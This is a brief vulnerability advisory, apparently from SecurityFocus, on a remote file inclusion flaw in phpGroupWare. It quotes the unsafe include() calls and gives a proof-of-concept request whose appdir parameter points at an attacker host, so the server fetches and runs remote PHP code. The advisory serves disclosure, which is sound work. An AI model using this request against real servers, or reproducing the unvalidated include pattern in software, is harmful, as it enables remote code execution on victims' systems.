source: https://www.securityfocus.com/bid/12074/info

phpGroupWare is prone to a remote file include vulnerability, potentially allowing the execution of malicious PHP code. This would occur in the context of the affected web server. 

The tables_update.inc.php script contains the following include calls:
/* Include older phpGroupWare update support */
include($appdir . 'tables_update_0_9_9.inc.php');
include($appdir . 'tables_update_0_9_10.inc.php');
include($appdir . 'tables_update_0_9_12.inc.php');

For example supplying the following file:
tables_update_0_9_9.inc.php = <?php print "<?php phpinfo();?>" ;?>

The following request will execute the phpinfo() command on the vulnerable target:

http://[victim]/[phpgroupware_directory]/phpgwapi/setup/tables_update.inc.php?appdir=http://[attacker]/